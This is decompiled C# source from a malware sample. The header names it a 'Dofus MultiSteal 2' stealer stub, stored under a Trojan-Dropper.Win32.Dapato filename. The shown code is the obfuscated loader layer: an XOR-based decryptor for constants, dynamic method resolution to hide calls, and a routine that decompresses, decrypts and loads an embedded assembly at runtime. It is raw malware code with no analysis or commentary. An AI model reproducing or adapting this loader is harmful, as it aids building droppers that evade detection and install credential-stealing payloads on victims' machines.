// Decompiled with JetBrains decompiler // Type: // Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null // MVID: F8CCC811-F0AE-43F4-8180-670E2BBAD259 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auww-b56915160d2d8d725e2d54a5b16a636ea854d31f8fa85a3d1e207112b177ddb1.exe using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Reflection; using System.Reflection.Emit; using System.Text; internal class \u003CModule\u003E { static \u003CModule\u003E() { 隬쪩夝횸抖뾟\u330C豜.䶏ﮑ圕ᖌ\u2730怴\uEF09ᬤ(); AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u003CModule\u003E.\uFFFD\uFFFDY\uFFFDE\uFFFDFD\uFFFD\u0004\u0020\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD); 뜴\u4DEF֛걠䉋넊烽껭.틃᭐㝗歹\u0098ंਕ\uE3C1(); } internal static object \u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD( uint id) { if (!(AppDomain.CurrentDomain.GetData("aίSYa�i�_!\u0019���^") is Dictionary dictionary)) { AppDomain.CurrentDomain.SetData("aίSYa�i�_!\u0019���^", (object) (dictionary = new Dictionary())); MemoryStream memoryStream = new MemoryStream(); using (DeflateStream deflateStream = new DeflateStream(Assembly.GetCallingAssembly().GetManifestResourceStream("aίSYa�i�_!\u0019���^"), CompressionMode.Decompress)) { byte[] buffer = new byte[4096]; int count = deflateStream.Read(buffer, 0, 4096); do { memoryStream.Write(buffer, 0, count); count = deflateStream.Read(buffer, 0, 4096); } while (count != 0); } AppDomain.CurrentDomain.SetData("�3�ش�V4s\n�D\u0018���", (object) memoryStream.ToArray()); } uint num1 = 1701301944U ^ (uint) new StackFrame(1).GetMethod().MetadataToken; uint num2 = 997746126; uint num3 = 520580110; for (uint index = 1; index <= 64U; ++index) { num1 = (uint) (((int) num1 & 16777215) << 8) | (num1 & 4278190080U) >> 24; uint num4 = (num1 & (uint) byte.MaxValue) % 64U; if (num4 >= 0U && num4 < 16U) { num2 |= (uint) ((int) ((num1 & 65280U) >> 8) & (int) ((num1 & 16711680U) >> 16) ^ ~(int) num1 & (int) byte.MaxValue); num3 ^= (uint) ((int) num1 * (int) index + 1) % 16U; num1 += (uint) (((int) num2 | (int) num3) ^ 1678085534); } else if (num4 >= 16U && num4 < 32U) { num2 ^= (uint) (((int) num1 & 16711935) << 8 ^ ((int) ((num1 & 16776960U) >> 8) | ~(int) num1 & (int) ushort.MaxValue)); num3 += num1 * index % 32U; num1 |= (uint) ((int) num2 + ~(int) num3 & 1678085534); } else if (num4 >= 32U && num4 < 48U) { num2 += (uint) (((int) num1 & (int) byte.MaxValue | (int) ((num1 & 16711680U) >> 16)) + (~(int) num1 & (int) byte.MaxValue)); num3 -= (uint) ~((int) num1 + (int) num4) % 48U; num1 ^= num2 % num3 | 1678085534U; } else if (num4 >= 48U && num4 < 64U) { num2 ^= (uint) (((int) ((num1 & 16711680U) >> 16) | ~((int) num1 & (int) byte.MaxValue)) * (~(int) num1 & 16711680)); num3 += (num1 ^ index - 1U) % num4; num1 -= (uint) (~((int) num2 ^ (int) num3) + 1678085534); } } uint num5 = num1 ^ id; object obj; if (!dictionary.TryGetValue(num5, out obj)) { using (BinaryReader binaryReader = new BinaryReader((Stream) new MemoryStream((byte[]) AppDomain.CurrentDomain.GetData("�3�ش�V4s\n�D\u0018���")))) { binaryReader.BaseStream.Seek((long) num5, SeekOrigin.Begin); byte num6 = binaryReader.ReadByte(); byte[] bytes = binaryReader.ReadBytes(binaryReader.ReadInt32()); Random random = new Random(1678085534 ^ (int) num5); byte[] numArray = new byte[bytes.Length]; random.NextBytes(numArray); BitArray bitArray = new BitArray(bytes); bitArray.Xor(new BitArray(numArray)); bitArray.CopyTo((Array) bytes, 0); switch (num6) { case 9: obj = (object) BitConverter.ToInt64(bytes, 0); break; case 148: obj = (object) BitConverter.ToSingle(bytes, 0); break; case 201: obj = (object) BitConverter.ToInt32(bytes, 0); break; case 206: obj = (object) BitConverter.ToDouble(bytes, 0); break; case 230: obj = (object) Encoding.UTF8.GetString(bytes); break; } dictionary[num5] = obj; } } return obj; } internal static void 퐯ҧ\u32F7ތ\uE476鋦룐ፂ(RuntimeFieldHandle f) { FieldInfo fieldFromHandle = FieldInfo.GetFieldFromHandle(f); Assembly executingAssembly = Assembly.GetExecutingAssembly(); char[] chArray = new char[fieldFromHandle.Name.Length]; for (int index = 0; index < chArray.Length; index++) chArray[index] = (char) ((int) (byte) fieldFromHandle.Name[index] ^ index); ConstructorInfo con = executingAssembly.GetModules()[0].ResolveMethod(BitConverter.ToInt32(Convert.FromBase64String(new string(chArray)), 0) ^ 1834356896) as ConstructorInfo; ParameterInfo[] parameters = con.GetParameters(); Type[] parameterTypes = new Type[parameters.Length]; for (int index = 0; index < parameters.Length; index++) parameterTypes[index] = parameters[index].ParameterType; DynamicMethod dynamicMethod = new DynamicMethod("", con.DeclaringType, parameterTypes, con.DeclaringType, true); ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); for (int index = 0; index < parameterTypes.Length; index++) ilGenerator.Emit(OpCodes.Ldarg_S, index); ilGenerator.Emit(OpCodes.Newobj, con); ilGenerator.Emit(OpCodes.Ret); fieldFromHandle.SetValue((object) null, (object) dynamicMethod.CreateDelegate(fieldFromHandle.FieldType)); } internal static void 僽᪔辦珷\uF8CD퉭삼鱐(RuntimeFieldHandle f) { FieldInfo fieldFromHandle = FieldInfo.GetFieldFromHandle(f); Assembly executingAssembly = Assembly.GetExecutingAssembly(); char[] chArray = new char[fieldFromHandle.Name.Length]; for (int index = 0; index < chArray.Length; index++) chArray[index] = (char) ((int) (byte) fieldFromHandle.Name[index] ^ index); byte[] numArray = Convert.FromBase64String(new string(chArray)); MethodInfo methodInfo = executingAssembly.GetModules()[0].ResolveMethod(BitConverter.ToInt32(numArray, 1) ^ 988953889) as MethodInfo; if (!methodInfo.IsStatic) { ParameterInfo[] parameters = methodInfo.GetParameters(); Type[] parameterTypes = new Type[parameters.Length + 1]; parameterTypes[0] = typeof (object); for (int index = 0; index < parameters.Length; ++index) parameterTypes[index + 1] = parameters[index].ParameterType; DynamicMethod dynamicMethod = !methodInfo.DeclaringType.IsInterface ? new DynamicMethod("", methodInfo.ReturnType, parameterTypes, methodInfo.DeclaringType, true) : new DynamicMethod("", methodInfo.ReturnType, parameterTypes, (Type) null, true); ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); for (int index = 0; index < parameterTypes.Length; index++) { ilGenerator.Emit(OpCodes.Ldarg, index); if (index == 0) ilGenerator.Emit(OpCodes.Castclass, methodInfo.DeclaringType); } ilGenerator.Emit(numArray[0] == (byte) 13 ? OpCodes.Callvirt : OpCodes.Call, methodInfo); ilGenerator.Emit(OpCodes.Ret); fieldFromHandle.SetValue((object) null, (object) dynamicMethod.CreateDelegate(fieldFromHandle.FieldType)); } else fieldFromHandle.SetValue((object) null, (object) Delegate.CreateDelegate(fieldFromHandle.FieldType, methodInfo)); } internal static Assembly \uFFFD\uFFFDY\uFFFDE\uFFFDFD\uFFFD\u0004\u0020\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD( object sender, ResolveEventArgs args) { if (!(AppDomain.CurrentDomain.GetData("�!��:\u001FMI��G����i") is Assembly data)) { using (BinaryReader binaryReader1 = new BinaryReader((Stream) new DeflateStream(typeof (\u003CModule\u003E).Assembly.GetManifestResourceStream("�!��:\u001FMI��G����i"), CompressionMode.Decompress))) { byte[] numArray = binaryReader1.ReadBytes(binaryReader1.ReadInt32()); byte[] buffer = new byte[numArray.Length / 2]; for (int index = 0; index < numArray.Length; index += 2) buffer[index / 2] = (byte) (((int) numArray[index + 1] ^ 67) * 67 + ((int) numArray[index] ^ 67)); using (BinaryReader binaryReader2 = new BinaryReader((Stream) new DeflateStream((Stream) new MemoryStream(buffer), CompressionMode.Decompress))) { data = Assembly.Load(binaryReader2.ReadBytes(binaryReader2.ReadInt32())); AppDomain.CurrentDomain.SetData("�!��:\u001FMI��G����i", (object) data); } } } return Array.IndexOf(data.GetManifestResourceNames(), args.Name) == -1 ? (Assembly) null : data; } }